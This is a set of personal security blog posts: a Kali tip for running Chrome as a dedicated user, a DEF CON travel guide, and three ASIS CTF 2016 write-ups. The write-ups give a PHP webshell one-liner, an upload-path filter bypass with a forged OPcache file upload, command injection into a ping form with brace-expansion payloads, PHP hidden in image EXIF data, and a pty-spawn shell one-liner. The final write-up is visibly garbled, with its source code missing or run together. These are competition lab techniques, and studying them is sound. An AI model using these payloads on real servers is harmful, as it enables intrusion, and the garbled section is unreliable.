Chrome on Kali for root

For many of the tools on Kali Linux, it’s easiest to run them as root, so the defacto standard has more or less become to run as root when using Kali. Google Chrome, on the other hand, would not like to be run as root (because it makes sandboxing harder when your user is all-powerful) so there have been a number of tricks to get it to run. I’m going to describe my preferred setup here. (Mostly as documentation for myself.)

Download and Install the Chrome .deb file.

I prefer the Google Chrome Beta build, but stable will work just fine too. Download the .deb file and install it:

dpkg -i google-chrome*.deb

If it’s a fresh Kali install, you’ll be missing libappindicator, but you can fix that via:

apt-get install -f

Getting a User to Run Chrome

We’ll create a dedicated user to run Chrome, this provides some user isolation and prevents Chrome from complaining.

useradd -m chrome

Setting up su

Now we’ll setup su to handle the passing of X credentials between the users. We’ll add pam_xauth to forward it, and configure root to pass credentials to the chrome user.

sed -i 's/@include common-session/session optional pam_xauth.so\n\0' \
  /etc/pam.d/su
mkdir -p /root/.xauth
echo chrome > /root/.xauth/export

Setting up the Chrome Desktop Icon

All that’s left now is to change the Application Menu entry (aka .desktop) to use the following as the command:

su -l -c "/usr/bin/google-chrome-beta" chrome

Hacker Summer Camp Planning Guide, Part II

In February, I wrote a guide to planning travel for BSides, Black Hat, and DEF CON, occasionally referred to as “Hacker Summer Camp.” In my original post, I promised an update with information about your actual travels to BSides, Black Hat, and DEF CON: what to bring, what to do, and how best to stay out of trouble. This is my best advice on that, but I’m sure others have differing opinions.

Health and Safety

I discussed the idea of managing your energy in the first post, but I can’t stress enough how important that is. Las Vegas is hot, there’s a lot going on, and so it’s easy to not realize how much you’ve burned yourself out. Take your time and don’t try to do everything – it’s not possible and you’ll make yourself sick in the process.

DEF CON 101 attendees will hear about the “3-2-1” rule. No, it’s not some new variation on the TSA’s 3-1-1 rule, it’s the guideline for personal survival at DEF CON: 3 hours of sleep, 2 meals, and 1 shower. Per day. Every day. Please follow at least this! Many days you may want to shower more than once, and I’d strongly encourage that – you’ll be packed into rooms with 15,000 of your (soon to be) closest friends, and there’s nothing that will make it harder to network and meet people than smelling like a gym with no ventilation. So I will also add: use deodorant. If you start to smell, take a shower, don’t just try to cover it up with some kind of body spray. Body spray just means you smell like sweat and some $4.99 crap you got from the checkout register.

This is a good time to mention hydration: it’s Las Vegas, which means it will be dry and hot, which is the recipe for dehydration. So is moving around a lot. So you need to always be drinking, and I don’t just mean Beer, Gin & Tonic, or Vodka & Red Bull. Drink lots of water. If at any point you get headaches, nauseated, or generally feel like crap, odds are you’re dehydrated and water will help. Money saving tip: if you want bottled water, buy water from a drugstore or convenience store on the strip (or if you’re driving, bring it with you). It will be much cheaper than buying it in any of the hotels.

Finally, a word about physical safety: keep your wits about you. DEF CON gets attendees of all sorts, and you’re in Las Vegas, a city known for clueless tourists, so there’s plenty of opportunity for thieves and other criminals. Know where your stuff is at all times, and don’t leave it unattended. Don’t look like a conference attendee outside the hotel, and if you’re out very late at night, being with others will help ensure your safety.

What to Bring

#####What to Wear#####

Read the weather forecast, but you can pretty much count on hot & dry. And when I say hot, I mean like 40°C (100°F +, for those of you not working in SI units). DEF CON is a highly informal conference – t-shirts and shorts or jeans are probably the “average” attire. If you want to look more professional, you’ll be fine too, unless you wear a suit. Then you’ll stick out like a sore thumb. BSides is approximately the same, Black Hat tends more towards business casual, though you’ll see plenty of t-shirts & jeans here too. Generally, wear whatever your comfortable in in hot weather.

#####Electronics#####

The network at DEF CON has been called the most hostile network in the world, but I suspect that’s a little overblown. That being said, it’s probably a good idea to treat it as highly hostile – better safe than sorry.

At a minimum:

  • Backup your data in advance
  • Fully patch
  • Full disk encryption
  • Firewall enabled
  • Use a VPN & SSL-enabled sites
  • Don’t click past SSL warnings

Other possible considerations:

  • Don’t bring sensitive data at all
  • Use a different hard drive
  • Use a different device

#####Picking your devices#####

What electronics you want to bring will depend on what you want to do. Some activities will require a laptop: CTFs, Capture the Packet, Badge Hacking (most likely). If you want to participate in these or something similar, you’ll want to bring a laptop. Otherwise, I’d encourage you to leave the laptop at home, or at least in your hotel room. (Being mindful, of course, of theft and evil maid attacks.)

It’s obviously hard to go without a cell phone, but you may want to consider using a different phone from usual, for several reasons. This would give you the option to give out a number to arrange parties, events, etc., but not have them have your permanent contact information (as can various services) but also protects you against attacks on your devices. (There have been a lot of 3g/4g and mobile attacks lately, so it makes sense to pay attention there.)

#####Other things to Bring#####

  • Cash: DEF CON tickets are cash-only, and you might want cash for cabs, drinks, etc. I’d recommend against using the ATMs in the immediate vicinty of the cons – you never know who’s found an 0-day or brought a skimmer!
  • Notepad and pen: old fashioned note taking is sometimes the best.

Activities

There’s a lot of things to do in this week, and I’d like to focus on 3 principle ideas to help in choosing what to do:

  • Don’t try to do it all – you just can’t
  • Be active, not passive
  • Try new things

#####Talks#####

Obviously, these conferences are best known for their talks and presentations, but I don’t actually consider those the most important reason for attending. I’ll attend a few talks, but since they’re nearly all recorded, I can always see the talks later. Attend talks that are of personal interest, but don’t force yourself to sit in the audience of a talk every hour – that’s being passive, and you won’t get as much out of things.

#####Villages#####

DEF CON hosts a number of villages each year, housing various demonstrations and activities, including the Lockpicking Village, Wireless Village, Packet Capture Village, and Tamper Evident Village. Each one will have talks and activities focusing on that particular aspect of “hacking”, and are great opportunities to learn something new from people who are extremely passionate about their niche. Some of the things you can try doing:

  • Analysis of packets from the network
  • Pick locks
  • Try to open tamper-evident containers without leaving a trace
  • Hunt for hidden wireless devices

The content from the villages is often not available anywhere else, so if you see a topic that you’re interested in, you should definitely pay them a visit.

#####Parties#####

It’s probably not a secret that there are parties in Las Vegas during this week. Many of these are great opportunities to get to know other security professionals and enthusiasts, discover what people are working on, and generally network. You never know when you might meet your next coworker. :)

Conclusion

I hope this has been helpful in your Hacker Summer Camp planning. Got a question? Check out /r/defcon or I’m @Matir on twitter.

ASIS CTF 2016: firtog

Firtog gives us a pcap file that you can quickly see features several TCP sessions containing the git server protocol. The binary protocol looks like this in the follow TCP stream mode:

firtog wireshark

Switching Wireshark to decode this as “Git” almost works, but there’s a trick. If we read the git pack protocol documentation, we’ll see there’s a special side-band mode here, where the length field is followed with a ‘1’, ‘2’, or ‘3’ byte indicating the type of data to follow. We only want the data from sideband ‘1’, which is the actual packfile data. So we’ll grab that data using Wireshark and write it to a file, fixing up the last byte with quick python work.

Once we have the packfiles, we recreate the git repository. Begin by creating an empty git repository with git init. Then, we can use git unpack-objects < PACKFILE on each of the packfiles (in order, or else we won’t get the deltas resolved properly). Finally, to get the structure back to normal, run git fsck and you’ll see something like this:

% git fsck
Checking object directories: 100% (256/256), done.
Checking objects: 100% (21/21), done.
dangling commit 922faaf7d9a6f74eb661acc62b93b968ec3f781f

This dangling commit tells us it’s the only unreferenced commit in the repository (i.e., not referenced as a parent by a commit or merge), so let’s check that one out:

% git checkout 922fa
HEAD is now at 922faaf... a new encrypted flag :P:P

Ok, so now we’re somewhere. Let’s see what we have:

% ls
flag.py  flag.txt  readme
% cat flag.py
#!/usr/bin/python
# Simple but secure flag generator for ASIS CTF Quals 2016

from os import urandom
from hashlib import sha1

l = 128
rd = urandom(l)
h = sha1(rd).hexdigest()
flag = 'ASIS{' + h + '}'
print flag
f = open('flag.txt', 'w')
flag_enc = ''
for c in flag:
  flag_enc += hex(pow(ord(c), 65537, 143))[2:]
f.write(flag_enc)
f.close()
% cat flag.txt
41608a606a63201245f1020d205f1612147463d85d125c1416635c854c74d172010105c14f8555d125c3c

So they grabbed some random data and hashed it, then did some exponentiation byte-by-byte to produce the output. There’s probably some better way to reverse it, but since it’s a limited character set, I just created a map of values to reverse the flag by performing the same math they did.

% cat flagdec.py 
flag = '41608a606a63201245f1020d205f1612147463d85d125c1416635c854c74d172010105c14f8555d125c3c'

lookup = {}

for b in 'ASIS{}0123456789abcdef':
    lookup[hex(pow(ord(b), 65537, 143))[2:]] = b

i = 0
out = ''
while i < len(flag):
    try:
        out += lookup[flag[i]]
    except KeyError:
        out += lookup[flag[i] + flag[i+1]]
        i += 1
    i += 1

print out
% python flagdec.py 
ASIS{c691a0646e79f3c4d495f7c5db3486005fad2495}

(I apologize for the quality of the code, but hey, it’s CTF-quality, not production-quality.)

ASIS CTF 2016: Binary Cloud

Binary Cloud claims “Now you can upload any types of files, temporarily.” Let’s see what this means.

binary cloud

Rule one of web challenges: check robots.txt:

User-Agent: *
Disallow: /
Disallow: /debug.php
Disallow: /cache
Disallow: /uploads

So we have some interesting paths there. debug.php turns out to be a phpinfo() page, informing us it’s ‘PHP Version 7.0.4-7ubuntu2’. Interesting, pretty new version. I play around with the app briefly to see how it’s going to behave, and notice any file ending in .php is prohibited. No direct .php script upload for us.

I got back to the PHPInfo, and notice that if we look closely, we discover the OPCache is enabled, set to a file directory (within the document root, interestingly). This reminds me of a recent blog post I read. (See kids, this is why it’s important to keep up on the news in security!)

Ok, so maybe we need the ability to upload files into the cache directory. Let’s figure out how to get that. Looking at the upload code, we see this:

<form action="upload.php?uploads" enctype="multipart/form-data" method="post">
<p>Please specify the file to upload!</p>
<input class="form-control" type="file" name="file"><br>
<input class="form-control" type="submit" value="Upload!">
</form>

When we upload, we’re told it’s uploaded to uploads/filename. I notice the query string of uploads on the form action, so I try it with a few different paths. If you provide any string including cache you get an error, which makes me believe I’m on the right path but need to figure out how to bypass the path checks. This had me stumped for a long time, and I moved back and forth to other challenges, but eventually I came back and happened upon the fact that if you provided //upload.php?/home/binarycloud/www/cache/, it would work. (More on that later.)

So, now we need the opcache file to upload. I spun up a Ubuntu 16.04 VM to match the target as closely as possible. First I needed a php file to create an opcache for. I noticed in the PHPInfo that there was a path blacklist, including the obvious paths:

/home/binarycloud/www/index.php
/home/binarycloud/www/debug.php
/home/binarycloud/www/home.php
/home/binarycloud/www/upload.php

However, I also noticed that /cache/index.php appeared to be a script, and was not blacklisted. So, along with the system_id from our test system, I determined the target path to be /home/binarycloud/www/cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/binarycloud/www/cache/index.php. I created a basic webshell on my test server containing <?PHP passthru($_GET['x']); as /home/binarycloud/www/cache/index.php (the full path is embedded in the OpCache file) and grabbed the index.php.bin file. I upload this and then visit the page /cache/index.php?x=ls and am happy to see a directory listing. From there it’s just a short hop to get the flag in the root of the system.

###Appendix###

In case you’re wondering, I also grabbed the source to upload.php while I had my shell (because I like to understand problems even after I get the flag) and here it is:

<?php

function ew($haystack, $needle) {
    return $needle === "" || (($temp = strlen($haystack) - strlen($needle)) >= 0 && strpos($haystack, $needle, $temp) !== false);
}

function filter_directory(){
	$data = parse_url($_SERVER['REQUEST_URI']);
	$filter = ["cache", "binarycloud"];
	foreach($filter as $f){
		if(preg_match("/".$f."/i", $data['query'])){
			die("Attack Detected");
		}
	}
}

function error($msg){
	die("<script>alert('$msg');history.go(-1);</script>");
}

filter_directory();

if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){
	if(!file_exists($_SERVER['QUERY_STRING'])) error("error3");
	$name = preg_replace("/[^a-zA-Z0-9\.]/", "", basename($_FILES['file']['name']));
        if(ew($name, ".php")) error("error");
	$filename = $_SERVER['QUERY_STRING'] . "/" . $name;
	if(file_exists($filename)) error("exists");
	if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)){
		die("uploaded at <a href=$filename>$filename</a><hr><a href='javascript:history.go(-1);'>Back</a>");
	}else{
		error("error");
	}
}

?>
	<hr>
	<form action="upload.php?uploads" enctype="multipart/form-data" method="post">
		<p>Please specify the file to upload!</p>
		<input class="form-control" type="file" name="file"><br>
		<input class="form-control" type="submit" value="Upload!">
	</form>

Notice that filter_directory uses parse_url on the request URI. This means parsing a path beginning with two slashes and having a query string beginning with a slash gets treated as a hostname up through the ‘?’, followed by the path, with no query string. I’m not sure this is the right way to parse it, but it worked for me here. :)

ASIS CTF 2016: 3magic

We’re directed to a web application that provides us with the ability to ping an arbitrary host. Like many such web interfaces, this one is vulnerable to command injection. We can provide flags like -v to get the version of ping being used, but inserting other characters, like |, ;, or $() result in a response of invalid character detected. Notably, so do spaces and tabs, significantly limiting the ability to run commands (we’ll see how to get around this shortly).

ping

I spent some time testing various characters and discovered that neither ampersands nor newlines were included in the filter set, so these could be used to separate commands. I could quickly list the files in the current directory with &ls, but couldn’t figure out a way to traverse directories.

files
index.php
pages

One of my teammates discovered that you could use brace expansion to add command arguments, so &{ls,pages} lets us list the pages directory:

Adm1n1sTraTi0n2.php
ping.php

Adm1n1sTraTi0n2.php looks interesting, but I’d really like to see the source. Several attempts to get source result in an error of addr is too long, which seems to occur at 15 characters. Eventually, we hit upon the idea of using the command grep -Hr . . to grep for every line of every file in the current directory and below. This looks like &{grep,-Hr,.,.} and gives us the source of every file we’re looking at (though not in a very pretty format). I’ve cleaned them up below.

###index.php### ~~~

3magic
  • ping
  • admin

  • </html> ~~~ ###ping.php### ~~~

    ping

    ~~~ ###Adm1n1sTraTi0n2.php### ~~~

    image inspector

    \n"; system('/usr/bin/file -b '.escapeshellarg($filename)); echo "
    \n"; } else { echo "File is not an image"; } } ?>
    Select image to upload:
    ~~~ So, we have a file upload with validation to test if the image is, in fact, an image. (`getimagesize` is pretty hard to fake.) We can upload arbitrary files, but I'm not sure if we can get them included thanks to the detection of slashes in the include in index.php. There's also the small matter of predicting the value of `mt_rand()` used in the filename. On second glance, I realize there's nothing stopping us from uploading a file whose extension is `.php`, but there's still the matter of `mt_rand()`. It actually took me several minutes before I noticed the cookie being set, leaking a value from `mt_rand()`. I know `mt_rand` isn't secure and should be predictable, but I'm not sure how to do it. It turns out there's a [tool out there](http://download.openwall.net/pub/projects/php_mt_seed/) to find the seed from a returned value of `mt_rand`, except it turns out it takes about 10 minutes on my laptop. I realized the `mt_srand` call to seed `mt_rand` looked a little bit funny with all the math. Working it through, I realized that, rather than a full 2**32 range for the seed, the entire working range is only between 3000 and 14000. With this range, it turned out a small PHP script was a better option to figure out the next `mt_rand` value: ~~~ ` as the EXIF comment in a JPEG image and uploaded it as a `.php` file. I was quickly able to confirm both that my script and the PHP embedded worked by listing the directory. Now, to find the flag. It wasn't in the working directory or the document root, so I checked the root of the system, and found a file named `flag`, but it turned out it was only readable by the user `flag`, and I was running as `www-data`. However, it turned out that there was also a program `/read_flag`, but attempting to call it from my PHP shell resulted in a Segmentation Fault. So I started a shell with netcat, and tried from this shell. Still, a segmentation fault. Maybe it needed a pty? Fortunately, there's a nice python one-liner to allocate a pseudo terminal: `python -c "import pty;pty.spawn('/bin/bash')"` Running `/read_flag` from this point gave results: ~~~ www-data@web-tasks:~/html/3magic/files$ /read_flag /read_flag Write "*please_show_me_your_flag*" on my tty, and I will give you flag :) *please_show_me_your_flag* *please_show_me_your_flag* ASIS{015c6456955c3c44b46d8b23d8a3187c} ~~~